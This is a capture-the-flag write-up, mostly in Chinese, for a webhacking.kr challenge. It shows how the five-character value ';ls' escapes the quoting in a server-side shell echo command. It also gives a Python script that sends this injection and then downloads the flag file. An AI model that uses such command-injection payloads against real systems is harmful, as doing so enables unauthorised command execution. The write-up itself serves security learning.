Challenge
Execute
lsthrough a five-character POST field.在五字符 POST 字段中执行
ls。
http://webhacking.kr:10005/Analysis
服务端只保留 id 的前五个字符,再拼入:
system("echo 'hello! {$id}'");输入 ';ls' 的前五个字符仍是 ';ls'。shell 先结束原来的单引号字符串,再执行 ls;最后一个单引号重新闭合外层命令字符串。这样可以从目录列表得到当前 flag 文件名。
Solution
提交 POST 字段:
id=';ls'命令输出返回一个以 flag_ 开头的文件名。不要把部署生成的完整文件名写死;脚本应从当前响应中提取它:
flag_<deployment-generated-name>随后访问该文件读取 flag:
完整验证脚本如下。它只请求题目端口,不包含 cookie 或其他凭据;如果部署响应格式改变,脚本会明确失败而不会猜文件名。
from __future__ import annotations
import argparseimport refrom urllib.parse import urljoin
import requests
FLAG_FILE = re.compile(r"flag_[0-9a-f]+")
def main() -> None: parser = argparse.ArgumentParser() parser.add_argument("--url", default="http://webhacking.kr:10005/") args = parser.parse_args()
response = requests.post(args.url, data={"id": "';ls'"}, timeout=20) response.raise_for_status() match = FLAG_FILE.search(response.text) if not match: raise RuntimeError("flag filename was not found in the command output")
flag_url = urljoin(args.url, match.group(0)) flag_response = requests.get(flag_url, timeout=20) flag_response.raise_for_status() print(flag_response.text)
if __name__ == "__main__": main()